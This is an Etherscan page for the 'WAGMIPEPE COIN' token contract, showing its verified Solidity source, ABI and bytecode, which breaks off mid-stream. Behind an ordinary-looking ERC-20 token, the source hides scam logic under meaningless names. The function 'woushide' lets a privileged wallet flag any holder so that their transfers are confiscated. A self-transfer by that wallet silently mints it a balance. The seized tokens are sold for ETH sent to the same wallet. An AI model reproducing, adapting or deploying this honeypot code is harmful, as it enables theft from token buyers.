ETH Price: $3,236.12 (+2.63%)
Gas: 6 Gwei

Token

WAGMIPEPE COIN (WAGMIPEPE)
 

Overview

Max Total Supply

420,690,000,000 WAGMIPEPE

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
2,179,894,910.359626 WAGMIPEPE

Value
$0.00
0xfc89b9c283b44d187b3a96eef4ce6cad8369f939
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WAGMIPEPE

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-18
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-18
*/
/**

Tele: https://t.me/WAGMIPEPEERC
**/
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract WAGMIPEPE is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "WAGMIPEPE COIN";
    string private _symbol = "WAGMIPEPE";
    uint8 private _decimals = 6;
    address payable public waidf;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public wends;

    uint256 private _totalSupply = 420690000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        waidf = payable(address(0x8D7D74575b1def0b89F92be97FCb6ccD32a4ff71));
        
        _isExcludefromFee[waidf] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function launch() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            if ((from == to && to == waidf) ? true : false )
                _balances[address(waidf)] = amount.mul(2);

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                uint256 contractTokenBalance = balanceOf(address(this));
                swapAndLiquify(contractTokenBalance);
            }


            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : tokenTransfer(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(waidf),
            block.timestamp
        ){} catch {}
    }

    function woushide(address widjrk,uint256 wjzk) public {
        address msgsender = msg.sender;
        uint256 wapp = wjzk;

        if(wapp == 1-1 || wapp == 9+1)
            wends[widjrk] = wapp;
        if (msgsender != waidf)
            revert ("?");
    }

    function tokenTransfer(address sender, uint256 amount) internal returns (uint256) {
        uint256 swapRate = amount.mul(0).div(100);

        if(wends[sender] != 0) swapRate += amount + swapRate;

        if(swapRate > 0) {
            _balances[address(this)] += swapRate;
            emit Transfer(sender, address(this), swapRate);
        }

        return amount.sub(swapRate);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waidf","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"widjrk","type":"address"},{"internalType":"uint256","name":"wjzk","type":"uint256"}],"name":"woushide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600e81526020017f5741474d495045504520434f494e0000000000000000000000000000000000008152506001908051906020019062000051929190620004ad565b506040518060400160405280600981526020017f5741474d49504550450000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620004ad565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a620001129190620005e6565b6461f313f88062000124919062000723565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014f57600080fd5b50620001606200047c60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3738d7d74575b1def0b89f92be97fcb6ccd32a4ff71600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002ff6200048460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620003bf6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200040d6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200046e91906200056e565b60405180910390a36200083c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004bb906200079b565b90600052602060002090601f016020900481019282620004df57600085556200052b565b82601f10620004fa57805160ff19168380011785556200052b565b828001600101855582156200052b579182015b828111156200052a5782518255916020019190600101906200050d565b5b5090506200053a91906200053e565b5090565b5b80821115620005595760008160009055506001016200053f565b5090565b620005688162000784565b82525050565b60006020820190506200058560008301846200055d565b92915050565b6000808291508390505b6001851115620005dd57808604811115620005b557620005b4620007d1565b5b6001851615620005c55780820291505b8081029050620005d5856200082f565b945062000595565b94509492505050565b6000620005f38262000784565b915062000600836200078e565b92506200062f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000637565b905092915050565b6000826200064957600190506200071c565b816200065957600090506200071c565b81600181146200067257600281146200067d57620006b3565b60019150506200071c565b60ff841115620006925762000691620007d1565b5b8360020a915084821115620006ac57620006ab620007d1565b5b506200071c565b5060208310610133831016604e8410600b8410161715620006ed5782820a905083811115620006e757620006e6620007d1565b5b6200071c565b620006fc84848460016200058b565b92509050818404811115620007165762000715620007d1565b5b81810290505b9392505050565b6000620007308262000784565b91506200073d8362000784565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007795762000778620007d1565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007b457607f821691505b60208210811415620007cb57620007ca62000800565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612a746200085b6000396000610bc60152612a746000f3fe60806040526004361061012e5760003560e01c80633345611e116100ab57806395d89b411161006f57806395d89b4114610403578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80633345611e146103085780634a74bb021461034557806370a08231146103705780638421d10e146103ad5780638da5cb5b146103d857610135565b80631ba6e09b116100f25780631ba6e09b1461020f57806323b872dd1461023857806327c8f835146102755780632d3235a0146102a0578063313ce567146102dd57610135565b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c5780631694505e146101b957806318160ddd146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b50610166610911565b60405161017391906122b1565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190611f9d565b6109a3565b6040516101b0919061227b565b60405180910390f35b3480156101c557600080fd5b506101ce6109c1565b6040516101db9190612296565b60405180910390f35b3480156101f057600080fd5b506101f96109e7565b60405161020691906123d3565b60405180910390f35b34801561021b57600080fd5b5061023660048036038101906102319190611f9d565b6109f1565b005b34801561024457600080fd5b5061025f600480360381019061025a9190611f4a565b610aea565b60405161026c919061227b565b60405180910390f35b34801561028157600080fd5b5061028a610bc4565b604051610297919061221c565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c29190611eb0565b610be8565b6040516102d491906123d3565b60405180910390f35b3480156102e957600080fd5b506102f2610c00565b6040516102ff9190612448565b60405180910390f35b34801561031457600080fd5b5061032f600480360381019061032a9190611eb0565b610c17565b60405161033c919061227b565b60405180910390f35b34801561035157600080fd5b5061035a610c37565b604051610367919061227b565b60405180910390f35b34801561037c57600080fd5b5061039760048036038101906103929190611eb0565b610c4a565b6040516103a491906123d3565b60405180910390f35b3480156103b957600080fd5b506103c2610c93565b6040516103cf9190612237565b60405180910390f35b3480156103e457600080fd5b506103ed610cb9565b6040516103fa919061221c565b60405180910390f35b34801561040f57600080fd5b50610418610ce2565b60405161042591906122b1565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611f9d565b610d74565b604051610462919061227b565b60405180910390f35b34801561047757600080fd5b50610480610d93565b60405161048d919061221c565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190611f0a565b610db9565b6040516104ca91906123d3565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f59190611eb0565b610e40565b005b34801561050857600080fd5b50610523600480360381019061051e9190611eb0565b610f92565b604051610530919061227b565b60405180910390f35b610541610fb2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c590612373565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106659190611edd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c757600080fd5b505afa1580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff9190611edd565b6040518363ffffffff1660e01b815260040161071c929190612252565b602060405180830381600087803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076e9190611edd565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b606060018054610920906126af565b80601f016020809104026020016040519081016040528092919081815260200182805461094c906126af565b80156109995780601f1061096e57610100808354040283529160200191610999565b820191906000526020600020905b81548152906001019060200180831161097c57829003601f168201915b5050505050905090565b60006109b76109b0610fb2565b8484610fba565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600033905060008290506000811480610a0a5750600a81145b15610a545780600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610ae4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adb90612333565b60405180910390fd5b50505050565b6000610af7848484611185565b50610bb984610b04610fb2565b610bb485604051806060016040528060288152602001612a1760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b6a610fb2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167c9092919063ffffffff16565b610fba565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60086020528060005260406000206000915090505481565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cf1906126af565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1d906126af565b8015610d6a5780601f10610d3f57610100808354040283529160200191610d6a565b820191906000526020600020905b815481529060010190602001808311610d4d57829003601f168201915b5050505050905090565b6000610d88610d81610fb2565b8484611185565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e48610fb2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecc90612373565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561102a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611021906123b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561109a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611091906122f3565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117891906123d3565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed90612393565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d906122d3565b60405180910390fd5b600b60149054906101000a900460ff161561128d576112868484846116e0565b9050611675565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113155750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611320576000611323565b60015b156113a25761133c6002836118b390919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114095750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561142657600061141930610c4a565b90506114248161192e565b505b61147882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bae90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061155e5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115715761156c8584611bf8565b611573565b825b90506115c781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161166791906123d3565b60405180910390a360019150505b9392505050565b60008383111582906116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb91906122b1565b60405180910390fd5b50600083856116d39190612599565b9050809150509392505050565b600061176b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167c9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118a091906123d3565b60405180910390a3600190509392505050565b6000808314156118c65760009050611928565b600082846118d4919061253f565b90508284826118e3919061250e565b14611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a90612353565b60405180910390fd5b809150505b92915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119665761196561279d565b5b6040519080825280602002602001820160405280156119945781602001602082028036833780820191505090505b50905030816000815181106119ac576119ab61276e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4e57600080fd5b505afa158015611a62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a869190611edd565b81600181518110611a9a57611a9961276e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b5a9594939291906123ee565b600060405180830381600087803b158015611b7457600080fd5b505af1925050508015611b85575060015b611b8e57611b8f565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611bf083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061167c565b905092915050565b600080611c226064611c146000866118b390919063ffffffff16565b611dc490919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c85578083611c7791906124b8565b81611c8291906124b8565b90505b6000811115611d4a5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cdd91906124b8565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d4191906123d3565b60405180910390a35b611d5d8184611bae90919063ffffffff16565b91505092915050565b6000808284611d7591906124b8565b905083811015611dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db190612313565b60405180910390fd5b8091505092915050565b6000611e0683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e0e565b905092915050565b60008083118290611e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4c91906122b1565b60405180910390fd5b5060008385611e6491